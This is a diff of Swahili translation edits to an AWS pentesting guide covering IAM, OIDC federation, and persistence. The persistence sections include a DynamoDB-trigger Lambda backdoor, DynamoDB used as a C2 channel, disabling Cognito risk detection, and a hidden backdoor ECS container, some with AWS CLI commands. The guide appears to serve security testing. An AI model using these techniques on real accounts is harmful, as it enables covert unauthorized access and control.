Hata hivyo, kwa kawaida unataka kutoa **jukumu tofauti kulingana na kundi la mtumiaji** katika jukwaa la upande wa tatu. Kisha, **majukumu kadhaa ya IAM yanaweza kuamini** Mtoa Huduma wa Utambulisho wa upande wa tatu na jukwaa la upande wa tatu litakuwa likiruhusu watumiaji kuchukua jukumu moja au jingine.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -247,7 +247,7 @@ Kituo cha Utambulisho wa AWS IAM (mfuasi wa AWS Single Sign-On) kinapanua uwezo
|
||||
|
||||
Domeni la kuingia litakuwa kitu kama `<user_input>.awsapps.com`.
|
||||
|
||||
Ili kuingia watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumika:
|
||||
Ili kuingia kwa watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumika:
|
||||
|
||||
- Kituo cha Utambulisho: Watumiaji wa kawaida wa AWS
|
||||
- Active Directory: Inasaidia viunganishi tofauti
|
||||
@@ -255,43 +255,43 @@ Ili kuingia watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumika:
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Katika kesi rahisi ya kituo cha utambulisho, **Kituo cha Utambulisho kitakuwa na orodha ya watumiaji na makundi** na kitakuwa na uwezo wa **kutoa sera** kwao kwa **akaunti yoyote** ya shirika.
|
||||
Katika kesi rahisi ya kituo cha utambulisho, **Kituo cha Utambulisho kitakuwa na orodha ya watumiaji na makundi** na kitakuwa na uwezo wa **kutoa sera** kwao kwa **akaunti zozote** za shirika.
|
||||
|
||||
Ili kutoa ufikiaji kwa mtumiaji/kundi wa Kituo cha Utambulisho kwa akaunti, **Mtoa Huduma wa Utambulisho wa SAML unaoaminika Kituo cha Utambulisho utaundwa**, na **jukumu linaloaminika Mtoa Huduma wa Utambulisho lenye sera zilizotajwa litaundwa** katika akaunti ya marudio.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
Inawezekana **kutoa ruhusa kupitia sera za ndani kwa majukumu yaliyoandaliwa kupitia Kituo cha Utambulisho wa IAM**. Majukumu yaliyoandaliwa katika akaunti zinazotolewa **sera za ndani katika Kituo cha Utambulisho wa AWS** yatakuwa na ruhusa hizi katika sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**.
|
||||
Inawezekana **kutoa ruhusa kupitia sera za ndani kwa majukumu yaliyoundwa kupitia Kituo cha Utambulisho wa IAM**. Majukumu yaliyoundwa katika akaunti zinazopatiwa **sera za ndani katika Kituo cha Utambulisho wa AWS** yatakuwa na ruhusa hizi katika sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Hivyo, hata kama unaona majukumu 2 yenye sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**, **haimaanishi ina ruhusa sawa**.
|
||||
|
||||
### Uaminifu na Majukumu ya Akaunti Mbalimbali
|
||||
### Uaminifu wa Akaunti Mbalimbali na Majukumu
|
||||
|
||||
**Mtumiaji** (anayeaminika) anaweza kuunda Jukumu la Akaunti Mbalimbali lenye sera fulani na kisha, **kuruhusu mtumiaji mwingine** (aliyeaminika) **kuingia kwenye akaunti yake** lakini tu **akiwa na ufikiaji ulioainishwa katika sera mpya za jukumu**. Ili kuunda hii, tengeneza Jukumu jipya na uchague Jukumu la Akaunti Mbalimbali. Majukumu ya Ufikiaji wa Akaunti Mbalimbali yanatoa chaguzi mbili. Kutoa ufikiaji kati ya akaunti za AWS ambazo unamiliki, na kutoa ufikiaji kati ya akaunti ambayo unamiliki na akaunti ya AWS ya upande wa tatu.\
|
||||
Inapendekezwa **kueleza mtumiaji ambaye anaaminika na si kuweka kitu chochote cha jumla** kwa sababu vinginevyo, watumiaji wengine walioidhinishwa kama watumiaji wa ushirikiano wataweza pia kutumia uaminifu huu.
|
||||
**Mtumiaji** (anayeaminiwa) anaweza kuunda Jukumu la Akaunti Mbalimbali lenye sera kadhaa na kisha, **kuruhusu mtumiaji mwingine** (aliyeaminiwa) **kuingia kwenye akaunti yake** lakini tu **akiwa na ufikiaji ulioainishwa katika sera mpya za jukumu**. Ili kuunda hii, tengeneza tu Jukumu jipya na uchague Jukumu la Akaunti Mbalimbali. Majukumu ya Ufikiaji wa Akaunti Mbalimbali yanatoa chaguzi mbili. Kutoa ufikiaji kati ya akaunti za AWS ambazo unamiliki, na kutoa ufikiaji kati ya akaunti unayoimiliki na akaunti ya AWS ya upande wa tatu.\
|
||||
Inapendekezwa **kueleza mtumiaji ambaye anaaminiwa na si kuweka kitu chochote cha jumla** kwa sababu vinginevyo, watumiaji wengine walioidhinishwa kama watumiaji wa ushirikiano wataweza pia kutumia uaminifu huu.
|
||||
|
||||
### AWS Simple AD
|
||||
|
||||
Haitambuliwi:
|
||||
Haikubali:
|
||||
|
||||
- Mahusiano ya Uaminifu
|
||||
- Kituo cha Usimamizi wa AD
|
||||
- Msaada kamili wa PS API
|
||||
- Msaada wa PS API kamili
|
||||
- Kituo cha Recycle cha AD
|
||||
- Akaunti za Huduma za Kundi
|
||||
- Upanuzi wa Schema
|
||||
- Upanuzi wa Mpango
|
||||
- Hakuna ufikiaji wa moja kwa moja kwa OS au Mifano
|
||||
|
||||
#### Ushirikiano wa Mtandao au Uthibitishaji wa OpenID
|
||||
#### Ushirikiano wa Mtandao au Uthibitisho wa OpenID
|
||||
|
||||
Programu inatumia AssumeRoleWithWebIdentity kuunda akiba za muda. Hata hivyo, hii haitoi ufikiaji kwa console ya AWS, bali ufikiaji tu kwa rasilimali ndani ya AWS.
|
||||
Programu inatumia AssumeRoleWithWebIdentity kuunda vithibitisho vya muda. Hata hivyo, hii haisaidii ufikiaji wa konsoli ya AWS, bali ufikiaji wa rasilimali ndani ya AWS.
|
||||
|
||||
### Chaguzi Nyingine za IAM
|
||||
|
||||
- Unaweza **kufafanua mipangilio ya sera ya nywila** kama urefu wa chini na mahitaji ya nywila.
|
||||
- Unaweza **kupakua "Ripoti ya Akiba"** yenye taarifa kuhusu akiba za sasa (kama wakati wa kuunda mtumiaji, ikiwa nywila imewekwa...). Unaweza kuunda ripoti ya akiba mara kwa mara kama mara moja kila **saa nne**.
|
||||
- Unaweza **kupakua "Ripoti ya Vithibitisho"** yenye taarifa kuhusu vithibitisho vya sasa (kama wakati wa kuunda mtumiaji, ikiwa nywila imewezeshwa...). Unaweza kuunda ripoti ya vithibitisho mara kwa mara kama mara moja kila **saa nne**.
|
||||
|
||||
Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) unatoa **udhibiti wa ufikiaji wa kina** katika AWS yote. Kwa IAM, unaweza kufafanua **nani anaweza kufikia huduma na rasilimali zipi**, na chini ya hali zipi. Kwa sera za IAM, unasimamia ruhusa kwa wafanyakazi na mifumo yako ili **kuhakikisha ruhusa za chini zaidi**.
|
||||
Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) unatoa **udhibiti wa ufikiaji wa kina** katika AWS yote. Pamoja na IAM, unaweza kufafanua **nani anaweza kufikia huduma na rasilimali zipi**, na chini ya hali zipi. Pamoja na sera za IAM, unasimamia ruhusa kwa wafanyakazi na mifumo yako ili **kuhakikisha ruhusa za chini**.
|
||||
|
||||
### Awali za ID za IAM
|
||||
|
||||
@@ -299,17 +299,17 @@ Katika [**ukurasa huu**](https://docs.aws.amazon.com/IAM/latest/UserGuide/refere
|
||||
|
||||
| ABIA | [Token ya mtoa huduma ya AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ACCA | Akiba maalum ya muktadha |
|
||||
| ACCA | Vithibitisho maalum kwa muktadha |
|
||||
| AGPA | Kundi la mtumiaji |
|
||||
| AIDA | Mtumiaji wa IAM |
|
||||
| AIPA | Profaili ya mfano wa Amazon EC2 |
|
||||
| AKIA | Funguo ya ufikiaji |
|
||||
| AKIA | Funguo la ufikiaji |
|
||||
| ANPA | Sera iliyosimamiwa |
|
||||
| ANVA | Toleo katika sera iliyosimamiwa |
|
||||
| APKA | Funguo ya umma |
|
||||
| AROA | Jukumu |
|
||||
| ASCA | Cheti |
|
||||
| ASIA | [Funguo za ufikiaji za muda (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) tumia awali hii, lakini ni za kipekee tu kwa pamoja na funguo ya siri ya ufikiaji na tokeni ya kikao. |
|
||||
| ASIA | [Funguo za ufikiaji za muda (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) tumia awali hii, lakini ni za kipekee tu kwa mchanganyiko na funguo ya siri ya ufikiaji na tokeni ya kikao. |
|
||||
|
||||
### Ruhusa zinazopendekezwa kukagua akaunti
|
||||
|
||||
@@ -326,11 +326,11 @@ Ruhusa zifuatazo zinatoa ufikiaji wa kusoma wa metadata:
|
||||
|
||||
## Mambo Mengine
|
||||
|
||||
### Uthibitishaji wa CLI
|
||||
### Uthibitisho wa CLI
|
||||
|
||||
Ili mtumiaji wa kawaida aidhinishe kwa AWS kupitia CLI unahitaji kuwa na **akiba za ndani**. Kwa kawaida unaweza kuziunda **kwa mikono** katika `~/.aws/credentials` au kwa **kukimbia** `aws configure`.\
|
||||
Ili mtumiaji wa kawaida aidhinishe kwa AWS kupitia CLI unahitaji kuwa na **vithibitisho vya ndani**. Kwa kawaida unaweza kuviweka **kwa mikono** katika `~/.aws/credentials` au kwa **kukimbia** `aws configure`.\
|
||||
Katika faili hiyo unaweza kuwa na zaidi ya profaili moja, ikiwa **hakuna profaili** iliyotajwa kwa kutumia **aws cli**, ile inayoitwa **`[default]`** katika faili hiyo itatumika.\
|
||||
Mfano wa faili la akiba lenye zaidi ya profaili 1:
|
||||
Mfano wa faili ya vithibitisho yenye zaidi ya profaili 1:
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -341,10 +341,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
|
||||
Ikiwa unahitaji kufikia **akaunti tofauti za AWS** na wasifu wako umepatiwa ruhusa ya **kuchukua jukumu ndani ya akaunti hizo**, huwezi kuhitaji kuita STS kwa mikono kila wakati (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) na kuunda akiba.
|
||||
|
||||
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
|
||||
Mfano wa faili la usanidi:
|
||||
Unaweza kutumia faili ya `~/.aws/config` [**kuonyesha ni majukumu gani ya kuchukua**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), na kisha tumia param ya `--profile` kama kawaida (kuchukua jukumu kutafanywa kwa njia ya uwazi kwa mtumiaji).\
|
||||
Mfano wa faili ya usanidi:
|
||||
```
|
||||
[profile acc2]
|
||||
region=eu-west-2
|
||||
@@ -359,7 +359,7 @@ aws --profile acc2 ...
|
||||
```
|
||||
Ikiwa unatafuta kitu **kama** hiki lakini kwa **browser** unaweza kuangalia **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
|
||||
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
|
||||
|
||||
@@ -10,11 +10,11 @@ Kwa maelezo kuhusu SAML tafadhali angalia:
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
{{#endref}}
|
||||
|
||||
Ili kuunda **Utambulisho wa Shirikisho kupitia SAML** unahitaji tu kutoa **jina** na **metadata XML** inayojumuisha usanidi wote wa SAML (**mipaka**, **cheti** chenye funguo za umma)
|
||||
Ili kuunda **Identity Federation kupitia SAML** unahitaji tu kutoa **jina** na **metadata XML** inayojumuisha usanidi wote wa SAML (**endpoints**, **cheti** chenye funguo za umma)
|
||||
|
||||
## OIDC - Github Actions Abuse
|
||||
|
||||
Ili kuongeza hatua ya github kama Mtoa Utambulisho:
|
||||
Ili kuongeza hatua ya github kama mtoa kitambulisho:
|
||||
|
||||
1. Kwa _Aina ya Mtoa_, chagua **OpenID Connect**.
|
||||
2. Kwa _URL ya Mtoa_, ingiza `https://token.actions.githubusercontent.com`
|
||||
@@ -44,7 +44,7 @@ Ili kuongeza hatua ya github kama Mtoa Utambulisho:
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Kumbuka katika sera iliyopita jinsi tu **tawi** kutoka **hifadhi** ya **shirika** lilihitajika kwa **kichocheo** maalum.
|
||||
6. Kumbuka katika sera iliyopita jinsi tu **tawi** kutoka **hifadhi** ya **shirika** iliruhusiwa kwa **kichocheo** maalum.
|
||||
7. **ARN** ya **jukumu** ambalo hatua ya github itakuwa na uwezo wa **kujifanya** itakuwa "siri" ambayo hatua ya github inahitaji kujua, hivyo **hifadhi** ndani ya **siri** ndani ya **mazingira**.
|
||||
8. Hatimaye tumia hatua ya github kuunda AWS creds zitakazotumika na mchakato:
|
||||
```yaml
|
||||
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
Ni rahisi kuunda **OIDC providers** katika **EKS** cluster kwa kuweka **OIDC URL** ya cluster kama **mtoa kitambulisho kipya cha Open ID**. Hii ni sera ya kawaida ya default:
|
||||
Inawezekana kuunda **OIDC providers** katika **EKS** cluster kwa kuweka **OIDC URL** ya cluster kama **mtoa kitambulisho kipya cha Open ID**. Hii ni sera ya kawaida ya default:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -108,7 +108,7 @@ Ni rahisi kuunda **OIDC providers** katika **EKS** cluster kwa kuweka **OIDC URL
|
||||
]
|
||||
}
|
||||
```
|
||||
Hii sera inadhihirisha kwa usahihi kwamba **tu** **EKS cluster** yenye **id** `20C159CDF6F2349B68846BEC03BE031B` inaweza kuchukua jukumu. Hata hivyo, haionyeshi ni akaunti gani ya huduma inaweza kuchukua jukumu hilo, ambayo inamaanisha kwamba **AKAUNTI YOYOTE YA HUDUMA yenye tokeni ya utambulisho wa wavuti** itakuwa **na uwezo wa kuchukua** jukumu hilo.
|
||||
Sera hii inabainisha kwa usahihi kwamba **tu** **EKS cluster** yenye **id** `20C159CDF6F2349B68846BEC03BE031B` inaweza kuchukua jukumu. Hata hivyo, haionyeshi ni akaunti gani ya huduma inaweza kuchukua jukumu hilo, ambayo ina maana kwamba **AKAUNTI YOYOTE YA HUDUMA yenye tokeni ya utambulisho wa wavuti** itakuwa **na uwezo wa kuchukua** jukumu hilo.
|
||||
|
||||
Ili kubainisha **ni akaunti gani ya huduma inapaswa kuwa na uwezo wa kuchukua jukumu,** inahitajika kubainisha **hali** ambapo **jina la akaunti ya huduma limebainishwa**, kama:
|
||||
```bash
|
||||
|
||||
@@ -10,8 +10,8 @@ Hizi ndizo ruhusa unazohitaji kwenye kila akaunti ya AWS unayotaka kukagua ili u
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Hiari ikiwa mteja anaunda wachambuzi kwa ajili yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii)
|
||||
- Hiari ikiwa mteja anaunda wachambuzi kwa niaba yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Hiari ikiwa mteja anafuta wachambuzi kwa ajili yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii)
|
||||
- Hiari ikiwa mteja anafuta wachambuzi kwa niaba yako, lakini kwa kawaida ni rahisi tu kuomba ruhusa hii)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,23 +10,23 @@ Kwa maelezo zaidi tembelea:
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
### Sera ya Rasilimali
|
||||
|
||||
Badilisha sera ya rasilimali ya API gateway(s) ili kujipatia ufikiaji.
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
### Badilisha Waandishi wa Lambda
|
||||
|
||||
Badilisha msimbo wa waandishi wa lambda ili kujipatia ufikiaji wa mwisho wote.\
|
||||
Au ondolewa matumizi ya mwandishi.
|
||||
|
||||
### IAM Permissions
|
||||
### Ruhusa za IAM
|
||||
|
||||
Ikiwa rasilimali inatumia mwandishi wa IAM unaweza kujipatia ufikiaji kwa kubadilisha ruhusa za IAM.\
|
||||
Au ondolewa matumizi ya mwandishi.
|
||||
|
||||
### API Keys
|
||||
### Funguo za API
|
||||
|
||||
Ikiwa funguo za API zinatumika, unaweza kuvuja ili kudumisha uendelevu au hata kuunda mpya.\
|
||||
Ikiwa funguo za API zinatumika, unaweza kuziweka wazi ili kudumisha uendelevu au hata kuunda mpya.\
|
||||
Au ondolewa matumizi ya funguo za API.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,14 +12,14 @@ Kwa maelezo zaidi, tembelea:
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito ni huduma inayoruhusu kutoa majukumu kwa watumiaji wasio na uthibitisho na watumiaji walio na uthibitisho na kudhibiti directory ya watumiaji. Mipangilio kadhaa tofauti inaweza kubadilishwa ili kudumisha baadhi ya uvumilivu, kama vile:
|
||||
Cognito ni huduma inayoruhusu kutoa majukumu kwa watumiaji wasio na uthibitisho na watumiaji walio na uthibitisho na kudhibiti directory ya watumiaji. Mipangilio kadhaa tofauti zinaweza kubadilishwa ili kudumisha baadhi ya uvumilivu, kama vile:
|
||||
|
||||
- **Kuongeza User Pool** inayodhibitiwa na mtumiaji kwa Identity Pool
|
||||
- Kutoa **IAM role kwa Identity Pool isiyo na uthibitisho na kuruhusu mchakato wa Basic auth**
|
||||
- Au kwa **Identity Pool iliyo na uthibitisho** ikiwa mshambuliaji anaweza kuingia
|
||||
- Au **kuboresha ruhusa** za majukumu yaliyotolewa
|
||||
- **Kuunda, kuthibitisha & privesc** kupitia sifa zinazodhibitiwa na watumiaji au watumiaji wapya katika **User Pool**
|
||||
- **Kuruhusu Watoa Utambulisho wa Nje** kuingia katika User Pool au katika Identity Pool
|
||||
- **Kuruhusu Watoa Huduma za Nje za Utambulisho** kuingia katika User Pool au katika Identity Pool
|
||||
|
||||
Angalia jinsi ya kufanya vitendo hivi katika
|
||||
|
||||
@@ -33,7 +33,7 @@ Mshambuliaji mwenye ruhusa hii anaweza kubadilisha usanidi wa hatari ili kuweza
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Kwa kawaida hii imezimwa:
|
||||
Kwa kawaida hii imezimwa:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ Kwa maelezo zaidi tembelea:
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Kwa kutumia vichocheo vya DynamoDB, mshambuliaji anaweza kuunda **backdoor ya siri** kwa kuunganisha kazi ya Lambda yenye uharibifu na jedwali. Kazi ya Lambda inaweza kuchochewa wakati kipengee kinapoongezwa, kubadilishwa, au kufutwa, ikimruhusu mshambuliaji kutekeleza msimbo wowote ndani ya akaunti ya AWS.
|
||||
Kwa kutumia vichocheo vya DynamoDB, mshambuliaji anaweza kuunda **backdoor ya siri** kwa kuunganisha kazi mbaya ya Lambda na jedwali. Kazi ya Lambda inaweza kuchochewa wakati kipengee kinapoongezwa, kubadilishwa, au kufutwa, ikimruhusu mshambuliaji kutekeleza msimbo wowote ndani ya akaunti ya AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
@@ -38,7 +38,7 @@ Ili kudumisha uvumilivu, mshambuliaji anaweza kuunda au kubadilisha vitu katika
|
||||
|
||||
### DynamoDB kama Kituo cha C2
|
||||
|
||||
Mshambuliaji anaweza kutumia meza ya DynamoDB kama **kituo cha amri na udhibiti (C2)** kwa kuunda vitu vyenye amri na kutumia mifano iliyovunjwa au kazi za Lambda kupata na kutekeleza amri hizi.
|
||||
Mshambuliaji anaweza kutumia meza ya DynamoDB kama **kituo cha amri na udhibiti (C2)** kwa kuunda vitu vyenye amri na kutumia mifano iliyovunjika au kazi za Lambda kupata na kutekeleza amri hizi.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
@@ -54,6 +54,6 @@ aws dynamodb put-item \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
Mifano iliyovunjwa au kazi za Lambda zinaweza kuangalia mara kwa mara jedwali la C2 kwa amri mpya, kuzitekeleza, na kwa hiari kuripoti matokeo nyuma kwenye jedwali. Hii inamruhusu mshambuliaji kudumisha uvumilivu na udhibiti juu ya rasilimali zilizovunjwa.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,16 +10,16 @@ Kwa maelezo zaidi angalia:
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Usalama wa Kundi la Kundi la Ufuatiliaji wa Muunganisho
|
||||
### Usalama wa Kundi la Kunganisha Ufuatiliaji wa Ustahimilivu
|
||||
|
||||
Ikiwa mlinzi atagundua kuwa **EC2 instance ilikumbwa na shambulio** atajaribu **kuweka mbali** **mtandao** wa mashine hiyo. Anaweza kufanya hivyo kwa kutumia **Deny NACL** (lakini NACL zinaathiri subnet nzima), au **kubadilisha kundi la usalama** kutoruhusu **aina yoyote ya trafiki ya ndani au nje**.
|
||||
Ikiwa mlinzi atagundua kuwa **EC2 instance ilikumbwa na shambulio** atajaribu **kuweka mbali** **mtandao** wa mashine hiyo. Anaweza kufanya hivyo kwa kutumia **Deny NACL** wazi (lakini NACL zinaathiri subnet nzima), au **kubadilisha kundi la usalama** kutoruhusu **aina yoyote ya trafiki ya kuingia au kutoka**.
|
||||
|
||||
Ikiwa mshambuliaji alikuwa na **reverse shell iliyoanzishwa kutoka kwa mashine**, hata kama SG imebadilishwa kutoruhusu trafiki ya ndani au nje, **muunganisho hautakatwa kutokana na** [**Ufuatiliaji wa Muunganisho wa Kundi la Usalama**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
Ikiwa mshambuliaji alikuwa na **reverse shell iliyoanzishwa kutoka kwa mashine**, hata kama SG imebadilishwa kutoruhusu trafiki ya kuingia au kutoka, **kuunganisha hakutakatishwa kutokana na** [**Ufuatiliaji wa Kunganisha Kundi la Usalama**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### Meneja wa Mzunguko wa EC2
|
||||
|
||||
Huduma hii inaruhusu **kuandaa** **kuundwa kwa AMIs na snapshots** na hata **kuzishiriki na akaunti nyingine**.\
|
||||
Mshambuliaji anaweza kuunda **uzalishaji wa AMIs au snapshots** za picha zote au volumes zote **kila wiki** na **kuzishiriki na akaunti yake**.
|
||||
Mshambuliaji anaweza kuunda **uzalishaji wa AMIs au snapshots** za picha zote au volumu zote **kila wiki** na **kuzishiriki na akaunti yake**.
|
||||
|
||||
### Mifano ya Ratiba
|
||||
|
||||
@@ -27,7 +27,7 @@ Inawezekana kupanga mifano kufanya kazi kila siku, kila wiki au hata kila mwezi.
|
||||
|
||||
### Ombi la Spot Fleet
|
||||
|
||||
Mifano ya spot ni **za bei nafuu** kuliko mifano za kawaida. Mshambuliaji anaweza kuzindua **ombile dogo la spot fleet kwa miaka 5** (kwa mfano), kwa **ugawaji wa IP** wa kiotomatiki na **data ya mtumiaji** inayotuma kwa mshambuliaji **wakati mfano wa spot unapoanza** na **anwani ya IP** na **jukumu la IAM lenye mamlaka ya juu**.
|
||||
Mifano ya spot ni **nafuu** kuliko mifano ya kawaida. Mshambuliaji anaweza kuzindua **ombile la spot fleet dogo kwa miaka 5** (kwa mfano), kwa **ugawaji wa IP** wa kiotomatiki na **data ya mtumiaji** inayotuma kwa mshambuliaji **wakati mfano wa spot unapoanza** na **anwani ya IP** na kwa **jukumu la IAM lenye mamlaka ya juu**.
|
||||
|
||||
### Mifano ya Backdoor
|
||||
|
||||
@@ -45,7 +45,7 @@ Mshambuliaji anaweza kupata ufikiaji wa mifano na kuziingiza backdoor:
|
||||
|
||||
### VPN
|
||||
|
||||
Unda VPN ili mshambuliaji aweze kuungana moja kwa moja kupitia i hadi VPC.
|
||||
Unda VPN ili mshambuliaji aweze kuungana moja kwa moja kupitia hiyo hadi VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### Picha ya Docker Iliyojificha yenye Msimbo Mbaya
|
||||
|
||||
Mshambuliaji anaweza **kupakia picha ya Docker yenye msimbo mbaya** kwenye hifadhi ya ECR na kuitumia kudumisha uvumilivu katika akaunti ya AWS inayolengwa. Mshambuliaji anaweza kisha kupeleka picha hiyo mbaya kwa huduma mbalimbali ndani ya akaunti, kama vile Amazon ECS au EKS, kwa njia ya siri.
|
||||
Mshambuliaji anaweza **kupakia picha ya Docker yenye msimbo mbaya** kwenye hifadhi ya ECR na kuitumia kudumisha uendelevu katika akaunti ya AWS inayolengwa. Mshambuliaji anaweza kisha kupeleka picha hiyo mbaya kwa huduma mbalimbali ndani ya akaunti, kama vile Amazon ECS au EKS, kwa njia ya siri.
|
||||
|
||||
### Sera ya Hifadhi
|
||||
|
||||
@@ -41,11 +41,11 @@ aws ecr set-repository-policy \
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba ECR inahitaji watumiaji kuwa na **ruhusa** ya kufanya simu kwa **`ecr:GetAuthorizationToken`** API kupitia sera ya IAM **kabla ya kuweza kuthibitisha** kwenye rejista na kusukuma au kuvuta picha yoyote kutoka kwenye hifadhi yoyote ya Amazon ECR.
|
||||
> Kumbuka kwamba ECR inahitaji watumiaji kuwa na **ruhusa** ya kufanya wito kwa **`ecr:GetAuthorizationToken`** API kupitia sera ya IAM **kabla ya kuweza kuthibitisha** kwenye rejista na kusukuma au kuvuta picha yoyote kutoka kwa hifadhi yoyote ya Amazon ECR.
|
||||
|
||||
### Sera ya Rejista & Urejeleaji wa Makaratasi Mbalimbali
|
||||
|
||||
Inawezekana kurejeleza moja kwa moja rejista katika akaunti ya nje kwa kuunda urejeleaji wa makaratasi mbalimbali, ambapo unahitaji **kuashiria akaunti ya nje** ambapo unataka kurejeleza rejista hiyo.
|
||||
Inawezekana kurejeleza moja kwa moja rejista katika akaunti ya nje kwa kuunda urejeleaji wa makaratasimbalimbali, ambapo unahitaji **kuashiria akaunti ya nje** ambapo unataka kurejeleza rejista hiyo.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container katika Mwelekeo wa Kazi wa ECS uliopo
|
||||
### Backdoor Container katika Mwelekeo wa ECS uliopo
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Mshambuliaji anaweza kuongeza **container ya nyuma isiyoonekana** katika mwelekeo wa kazi wa ECS uliopo ambayo inafanya kazi pamoja na container halali. Container ya nyuma inaweza kutumika kwa kudumu na kutekeleza shughuli mbaya.
|
||||
Mshambuliaji anaweza kuongeza **container ya nyuma isiyoonekana** katika mwelekeo wa ECS uliopo inayotembea sambamba na container halali. Container ya nyuma inaweza kutumika kwa kudumu na kufanya shughuli za uhalifu.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
@@ -74,7 +74,7 @@ aws ecs register-task-definition --family "existing-task" --container-definition
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
